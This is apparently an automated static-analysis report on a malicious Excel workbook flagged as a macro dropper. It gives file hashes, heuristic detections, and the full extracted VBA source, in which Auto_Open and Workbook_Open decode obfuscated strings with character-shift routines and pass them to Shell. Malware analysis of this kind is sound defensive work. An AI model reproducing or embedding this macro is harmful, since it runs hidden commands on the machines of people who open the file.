Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 601dd0636e3479ec…

MALICIOUS

Office (OLE)

89.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2020-05-14
MD5: cb838037905a3382a83f83ad8aa89557 SHA-1: 56a056ce7928cda9365541be127758963a746f69 SHA-256: 601dd0636e3479ec9f03a6a6f6992c77e0c27f5958f32fd67d4c3cffdaa34765
258 Risk Score

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7074458-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7074458-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (G90 + G93 + G91 + G92)
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
    For jfrIQsgpNHlnT = 4 To 10
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5940 bytes
SHA-256: 694aadecc49437657a157b44a472a5b954e26cdcf37bec72e187dd6c94cc9f07
Detection
ClamAV: No threats found
Obfuscation or payload: likely
33 of 61 identifiers look randomly generated (e.g. 'fmtYkkzDGyQmfOwzTAOKuHhhIQdFZEc') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Public Sub uSKGRjyTHQojMOvOUdRx()

If xdAgAtuNs("ou|gtsIMOGgvnX€H\", xdAgAtuNs("<", xdAgAtuNs("?", "9"))) = xdAgAtuNs("JXT}PpqQZmNiMl~", xdAgAtuNs("<", xdAgAtuNs("?", "9"))) Then End

End Sub
Private Function qhGVOygiDgky()
Dim QrNMpQoaeDe As Integer
QrNMpQoaeDe = "5462"

End Function

Private Sub RKRwIIYcfQv()

Dim T6XgSXDK9 As String

T6XgSXDK9 = xdAgAtuNs("2826", "1")

End Sub
Public Sub rPHDPhvQENlgJLsMRaPv()
If "fmtYkkzDGyQmfOwzTAOKuHhhIQdFZEc" = "TuFzRBYHSYUgxL" Then End

End Sub
Public Function UeCwacIOiqgLGHFKvCJ()
If "fmtYkkzDGyQmfOwzTAOKuHhhIQdFZEc" = "TuFzRBYHSYUgxL" Then End
If "GIAaChfMBVMDQcKJxxZ" = "tVpUtKQKICUoYjolwNOkluSzdsZfyG" Then End

End Function

Sub Auto_Open()

G90 = Replace(StrReverse(URxzSMSBZ(xdAgAtuNs(" 'h{ zt", xdAgAtuNs(xdAgAtuNs("9", "1"), xdAgAtuNs("<", xdAgAtuNs("?", "9")))), xdAgAtuNs(">", "9"))), StrReverse(StrReverse(StrReverse(URxzSMSBZ(xdAgAtuNs("�", "5"), xdAgAtuNs(";", xdAgAtuNs("=", xdAgAtuNs("?", "9"))))))), StrReverse(URxzSMSBZ(xdAgAtuNs("p", xdAgAtuNs("<", xdAgAtuNs("?", "9"))), xdAgAtuNs(xdAgAtuNs("9", "1"), xdAgAtuNs("<", xdAgAtuNs("?", "9"))))))

G93 = Replace(StrReverse(URxzSMSBZ(xdAgAtuNs(":„„„;;F|€€", xdAgAtuNs("<", xdAgAtuNs("?", "9"))), xdAgAtuNs("<", xdAgAtuNs("?", "9")))), StrReverse(StrReverse(StrReverse(URxzSMSBZ(xdAgAtuNs("�", "5"), xdAgAtuNs(";", xdAgAtuNs("=", xdAgAtuNs("?", "9"))))))), StrReverse(URxzSMSBZ(xdAgAtuNs("�", xdAgAtuNs("9", "1")), xdAgAtuNs(xdAgAtuNs("9", "1"), xdAgAtuNs("<", xdAgAtuNs("?", "9"))))))

G91 = Replace(StrReverse(URxzSMSBZ(xdAgAtuNs("7uwk€qj", "1"), xdAgAtuNs("=", xdAgAtuNs("?", "9")))), StrReverse(StrReverse(StrReverse(URxzSMSBZ(xdAgAtuNs("�", "5"), xdAgAtuNs(";", xdAgAtuNs("=", xdAgAtuNs("?", "9"))))))), StrReverse(URxzSMSBZ(xdAgAtuNs("6�t|", "2"), xdAgAtuNs("<", xdAgAtuNs("?", "9")))))

G92 = Replace(StrReverse(URxzSMSBZ(xdAgAtuNs("ON]^QCOUk}nV", "2"), xdAgAtuNs("9", "1"))), StrReverse(URxzSMSBZ(xdAgAtuNs("R", "7"), xdAgAtuNs("<", xdAgAtuNs("?", "9")))), StrReverse(URxzSMSBZ(xdAgAtuNs("`T", xdAgAtuNs("7", "3")), xdAgAtuNs(";", xdAgAtuNs("=", xdAgAtuNs("?", "9"))))))

Shell (G90 + G93 + G91 + G92)

End Sub
Private Function lkpaSaEfQhkn()
GoTo vrgArivFoocNpLYmTl
vrgArivFoocNpLYmTl:

End Function
Public Function bBpmgyvSoMSObesNPZje()
GoTo vrgArivFoocNpLYmTl
vrgArivFoocNpLYmTl:
Dim dQMsBBAFqjqUihxAD As Integer
dQMsBBAFqjqUihxAD = "7248"

End Function

Private Function ZhftT7W6h()

If xdAgAtuNs("ou|gtsIMOGgvnX€H\", xdAgAtuNs("<", xdAgAtuNs("?", "9"))) = xdAgAtuNs("JXT}PpqQZmNiMl~", xdAgAtuNs("<", xdAgAtuNs("?", "9"))) Then End

GoTo iNJJINyFMdDCSI

iNJJINyFMdDCSI:


End Function
Private Function HKfHLakFSFTpoQyPBFfFQKd()
Dim jfrIQsgpNHlnT As Integer
For jfrIQsgpNHlnT = 4 To 10
   DoEvents
Next jfrIQsgpNHlnT

End Function

Public Function URxzSMSBZ(PRqqlYm3n As String, OaK61NyUa As Integer)


Dim KdUoK20K3 As Integer




For KdUoK20K3 = 1 To Len(PRqqlYm3n)


Mid(PRqqlYm3n, KdUoK20K3, 1) = Chr(Asc(Mid(PRqqlYm3n, KdUoK20K3, 1)) - OaK61NyUa)


Next KdUoK20K3


URxzSMSBZ = PRqqlYm3n


End Function
Public Sub IGLjqxcooDHKCbqjS()
Dim ESOyLllMUhJdIgy As Integer
ESOyLllMUhJdIgy = 7
Do While ESOyLllMUhJdIgy < 20
   DoEvents: ESOyLllMUhJdIgy = ESOyLllMUhJdIgy + 1
Loop

End Sub
Public Sub VFcLQcZkBPYZiGAe()
Dim ESOyLllMUhJdIgy As Integer
ESOyLllMUhJdIgy = 7
Do While ESOyLllMUhJdIgy < 20
   DoEvents: ESOyLllMUhJdIgy = ESOyLllMUhJdIgy + 1
Loop
Dim ukPKLJOzGNeE As Integer
ukPKLJOzGNeE = 13
Do While ukPKLJOzGNeE < 35
   DoEvents: ukPKLJOzGNeE = ukPKLJOzGNeE + 1
Loop

End Sub


Public Function xdAgAtuNs(PIxhq2vXY As String, azDuZM9Gm As Integer)

    Dim yuzgItNe9 As Integer

    

    For yuzgItNe9 = 1 To Len(PIxhq2vXY)

        Mid(PIxhq2vXY, yuzgItNe9, 1) = Chr(Asc(Mid(PIxhq2vXY, yuzgItNe9, 1)) - azDuZM9Gm)

    Next yuzgItNe9

    xdAgAtuNs = PIxhq2vXY

End Function
Public Function iMKthBsjxHqpddEM()
Dim ZqCqoiAxTDOUQctPQbyfIYELemcHC As Integer
ZqCqoiAxTDOUQctPQbyfIYELemcHC = 8
Do While ZqCqoiAxTDOUQctPQbyfIYELemcHC < 28
   DoEvents: ZqCqoiAxTDOUQctPQbyfIYELemcHC = ZqCqoiAxTDOUQctPQbyfIYELemcHC + 1
Loop

End Function
Public Function lsVxiyCFwVyeN()
Dim ZqCqoiAxTDOUQctPQbyfIYELemcHC As Integer
ZqCqoiAxTDOUQctPQbyfIYELemcHC = 8
Do While ZqCqoiAxTDOUQctPQbyfIYELemcHC < 28
   DoEvents: ZqCqoiAxTDOUQctPQbyfIYELemcHC = ZqCqoiAxTDOUQctPQbyfIYELemcHC + 1
Loop
Dim zNYGGtgGdqElDptSH As Integer
zNYGGtgGdqElDptSH = 7
Do While zNYGGtgGdqElDptSH < 23
   DoEvents: zNYGGtgGdqElDptSH = zNYGGtgGdqElDptSH + 1
Loop

End Function







Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Auto_Open
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True